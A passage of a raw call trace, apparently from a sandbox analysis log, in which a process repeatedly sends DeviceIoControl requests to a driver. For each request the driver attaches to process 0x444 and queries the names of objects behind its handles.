ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0104.486] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.486] PsReleaseProcessExitSynchronization () returned 0x2 [0104.486] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.486] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.486] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0104.486] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.486] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.486] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.486] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0104.486] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.486] PsAcquireProcessExitSynchronization () returned 0x0 [0104.487] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.487] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0104.487] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.487] PsReleaseProcessExitSynchronization () returned 0x2 [0104.487] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.487] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.487] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0104.487] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.487] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.487] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.487] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0104.487] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.487] PsAcquireProcessExitSynchronization () returned 0x0 [0104.487] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.487] ObReferenceObjectByHandle (in: Handle=0x350, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001973760, HandleInformation=0x0) returned 0x0 [0104.487] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.487] PsReleaseProcessExitSynchronization () returned 0x2 [0104.487] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.487] ObQueryNameString (in: Object=0xfffff8a001973760, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.487] ObfDereferenceObject (Object=0xfffff8a001973760) returned 0x2 [0104.487] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.487] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.487] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.487] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.487] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.487] PsAcquireProcessExitSynchronization () returned 0x0 [0104.487] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.487] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80034d1680, HandleInformation=0x0) returned 0x0 [0104.487] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.487] PsReleaseProcessExitSynchronization () returned 0x2 [0104.487] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.488] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.488] ObfDereferenceObject (Object=0xfffffa80034d1680) returned 0x1 [0104.488] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.488] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.488] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.488] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.488] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.488] PsAcquireProcessExitSynchronization () returned 0x0 [0104.488] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.488] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80028d9470, HandleInformation=0x0) returned 0x0 [0104.488] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.488] PsReleaseProcessExitSynchronization () returned 0x2 [0104.488] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.488] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.488] ObfDereferenceObject (Object=0xfffffa80028d9470) returned 0x1 [0104.488] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.488] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.488] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.488] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0104.488] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.488] PsAcquireProcessExitSynchronization () returned 0x0 [0104.488] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.488] ObReferenceObjectByHandle (in: Handle=0x3f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001a97420, HandleInformation=0x0) returned 0x0 [0104.488] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.488] PsReleaseProcessExitSynchronization () returned 0x2 [0104.488] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.488] ObQueryNameString (in: Object=0xfffff8a001a97420, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.488] ObfDereferenceObject (Object=0xfffff8a001a97420) returned 0x2 [0104.488] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.488] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.488] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.489] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0104.489] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.489] PsAcquireProcessExitSynchronization () returned 0x0 [0104.489] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.489] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001ab3eb0, HandleInformation=0x0) returned 0x0 [0104.489] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.489] PsReleaseProcessExitSynchronization () returned 0x2 [0104.489] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.489] ObQueryNameString (in: Object=0xfffff8a001ab3eb0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.489] ObfDereferenceObject (Object=0xfffff8a001ab3eb0) returned 0x2 [0104.489] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.489] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.489] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.489] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0104.489] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.489] PsAcquireProcessExitSynchronization () returned 0x0 [0104.489] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.489] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0104.489] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.489] PsReleaseProcessExitSynchronization () returned 0x2 [0104.489] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.489] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.489] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0104.489] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.489] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.489] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.489] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0104.489] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.489] PsAcquireProcessExitSynchronization () returned 0x0 [0104.489] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.490] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0104.490] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.490] PsReleaseProcessExitSynchronization () returned 0x2 [0104.490] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.490] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.490] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0104.490] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.490] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.490] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.490] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0104.490] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.490] PsAcquireProcessExitSynchronization () returned 0x0 [0104.490] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.490] ObReferenceObjectByHandle (in: Handle=0x418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001aaf2e0, HandleInformation=0x0) returned 0x0 [0104.490] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.490] PsReleaseProcessExitSynchronization () returned 0x2 [0104.490] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.490] ObQueryNameString (in: Object=0xfffff8a001aaf2e0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.490] ObfDereferenceObject (Object=0xfffff8a001aaf2e0) returned 0x2 [0104.490] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.490] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.490] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.490] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0104.490] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.490] PsAcquireProcessExitSynchronization () returned 0x0 [0104.490] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.490] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001aa1cc0, HandleInformation=0x0) returned 0x0 [0104.490] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.490] PsReleaseProcessExitSynchronization () returned 0x2 [0104.490] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.490] ObQueryNameString (in: Object=0xfffff8a001aa1cc0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.491] ObfDereferenceObject (Object=0xfffff8a001aa1cc0) returned 0x2 [0104.491] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.491] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.491] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xfa, lpOverlapped=0x0) returned 1 [0104.491] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.491] PsAcquireProcessExitSynchronization () returned 0x0 [0104.491] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.491] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001aa1c00, HandleInformation=0x0) returned 0x0 [0104.491] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.491] PsReleaseProcessExitSynchronization () returned 0x2 [0104.491] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.491] ObQueryNameString (in: Object=0xfffff8a001aa1c00, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.491] ObfDereferenceObject (Object=0xfffff8a001aa1c00) returned 0x2 [0104.491] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.491] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.491] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0104.491] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.491] PsAcquireProcessExitSynchronization () returned 0x0 [0104.491] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.491] ObReferenceObjectByHandle (in: Handle=0x484, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020b9880, HandleInformation=0x0) returned 0x0 [0104.491] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.491] PsReleaseProcessExitSynchronization () returned 0x2 [0104.491] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.491] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.491] ObfDereferenceObject (Object=0xfffffa80020b9880) returned 0xe [0104.491] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.491] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.491] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0104.492] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.492] PsAcquireProcessExitSynchronization () returned 0x0 [0104.492] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.492] ObReferenceObjectByHandle (in: Handle=0x494, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0017007a0, HandleInformation=0x0) returned 0x0 [0104.492] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.492] PsReleaseProcessExitSynchronization () returned 0x2 [0104.492] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.492] ObQueryNameString (in: Object=0xfffff8a0017007a0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.492] ObfDereferenceObject (Object=0xfffff8a0017007a0) returned 0x2 [0104.492] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.492] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.492] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.492] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0104.492] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.492] PsAcquireProcessExitSynchronization () returned 0x0 [0104.492] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.492] ObReferenceObjectByHandle (in: Handle=0x4ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0104.492] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.492] PsReleaseProcessExitSynchronization () returned 0x2 [0104.492] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.492] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.492] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0104.492] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.492] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.492] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.492] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0104.492] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.492] PsAcquireProcessExitSynchronization () returned 0x0 [0104.492] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.492] ObReferenceObjectByHandle (in: Handle=0x4cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800206b070, HandleInformation=0x0) returned 0x0 [0104.492] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.492] PsReleaseProcessExitSynchronization () returned 0x2 [0104.493] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.493] ObQueryNameString (in: Object=0xfffffa800206b070, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.493] ObfDereferenceObject 